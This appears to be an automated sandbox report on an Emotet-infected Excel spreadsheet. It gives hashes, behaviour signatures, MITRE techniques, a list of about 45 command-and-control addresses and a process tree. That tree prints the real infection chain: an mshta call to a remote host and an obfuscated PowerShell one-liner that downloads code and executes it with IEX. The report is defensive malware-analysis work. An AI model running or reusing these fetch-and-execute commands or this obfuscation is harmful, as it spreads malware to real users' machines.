emotet | 44b786309bdd67b3647a3ea326f9d100facd9ce81560206238c018742037ad2c

Analysis

max time kernel
140s
max time network
155s
platform
windows10_x64
resource
win10-en-20211208
submitted
30/01/2022, 20:28

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General

Target
2022-1-29-6a16e936fd02c2b7c1e96287a9ad6e66.xls
Size 85KB
Sample220130-y845baabfk
SHA256 44b786309bdd67b3647a3ea326f9d100facd9ce81560206238c018742037ad2c
MD5 6a16e936fd02c2b7c1e96287a9ad6e66
SHA1 3061c554a2e7385711437c158745ff76bfcb37a3
SHA512 ffb800211a3db695e38c5ed36955dab058e812e03ceb7761fa4b96bfdbf58bc7dc73e9242703a8f9c77797ee218d11c5c0aa91820dd3971da5807c4e69ddad1a
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1640	2696	CMD.EXE	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
41	2216	mshta.exe
42	1440	powershell.exe
44	1440	powershell.exe
52	1440	powershell.exe
54	1048	rundll32.exe
56	1048	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2908	rundll32.exe
3864	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Cgxwpb\vuyb.yop	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2760	2216	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2696	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1440	powershell.exe
1440	powershell.exe
1440	powershell.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
2760	WerFault.exe
1048	rundll32.exe
1048	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	2760	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE
2696	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2696 wrote to memory of 1640	2696	EXCEL.EXE	72
PID 2696 wrote to memory of 1640	2696	EXCEL.EXE	72
PID 1640 wrote to memory of 2216	1640	CMD.EXE	74
PID 1640 wrote to memory of 2216	1640	CMD.EXE	74
PID 2216 wrote to memory of 1440	2216	mshta.exe	78
PID 2216 wrote to memory of 1440	2216	mshta.exe	78
PID 1440 wrote to memory of 364	1440	powershell.exe	81
PID 1440 wrote to memory of 364	1440	powershell.exe	81
PID 364 wrote to memory of 2908	364	cmd.exe	82
PID 364 wrote to memory of 2908	364	cmd.exe	82
PID 364 wrote to memory of 2908	364	cmd.exe	82
PID 2908 wrote to memory of 3864	2908	rundll32.exe	83
PID 2908 wrote to memory of 3864	2908	rundll32.exe	83
PID 2908 wrote to memory of 3864	2908	rundll32.exe	83
PID 3864 wrote to memory of 1792	3864	rundll32.exe	84
PID 3864 wrote to memory of 1792	3864	rundll32.exe	84
PID 3864 wrote to memory of 1792	3864	rundll32.exe	84
PID 1792 wrote to memory of 1048	1792	rundll32.exe	85
PID 1792 wrote to memory of 1048	1792	rundll32.exe	85
PID 1792 wrote to memory of 1048	1792	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\2022-1-29-6a16e936fd02c2b7c1e96287a9ad6e66.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2696
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2216
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1440
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:364
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2908
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:3864
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cgxwpb\vuyb.yop",gngTnqYOj
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1792
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cgxwpb\vuyb.yop",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:1048
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2216 -s 1668
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2760

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1048-640-0x0000000000BF0000-0x0000000000C15000-memory.dmp

Download

memory/1048-677-0x0000000004D70000-0x0000000004D95000-memory.dmp

Download

memory/1048-671-0x00000000049A0000-0x00000000049C5000-memory.dmp

Download

memory/1048-669-0x00000000048C0000-0x00000000048E5000-memory.dmp

Download

memory/1048-679-0x0000000004DF0000-0x0000000004E15000-memory.dmp

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memory/1048-673-0x0000000004A80000-0x0000000004AA5000-memory.dmp

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memory/1048-675-0x0000000004B80000-0x0000000004BA5000-memory.dmp

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memory/1440-280-0x000001CD6AF50000-0x000001CD6AF72000-memory.dmp

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memory/1440-289-0x000001CD69520000-0x000001CD69550000-memory.dmp

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memory/1440-290-0x000001CD69520000-0x000001CD69550000-memory.dmp

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memory/1440-301-0x000001CD6BB10000-0x000001CD6BB4C000-memory.dmp

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memory/1440-317-0x000001CD69520000-0x000001CD69550000-memory.dmp

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memory/1440-312-0x000001CD6BBD0000-0x000001CD6BC46000-memory.dmp

Download

memory/1792-636-0x00000000034A0000-0x00000000034C5000-memory.dmp

Download

memory/2696-122-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-119-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-120-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-121-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-132-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

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memory/2696-131-0x00007FF7DCCC0000-0x00007FF7DCCD0000-memory.dmp

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memory/2696-118-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-661-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-662-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-663-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2696-664-0x00007FF7E0830000-0x00007FF7E0840000-memory.dmp

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memory/2908-620-0x00000000044F0000-0x0000000004515000-memory.dmp

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memory/3864-629-0x0000000004B30000-0x0000000004B55000-memory.dmp

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memory/3864-639-0x0000000004D80000-0x0000000004DA5000-memory.dmp

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memory/3864-633-0x0000000004BF0000-0x0000000004C15000-memory.dmp

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memory/3864-624-0x00000000043C0000-0x00000000043E5000-memory.dmp

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memory/3864-631-0x0000000004B90000-0x0000000004BB5000-memory.dmp

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memory/3864-622-0x0000000000E61000-0x0000000000E82000-memory.dmp

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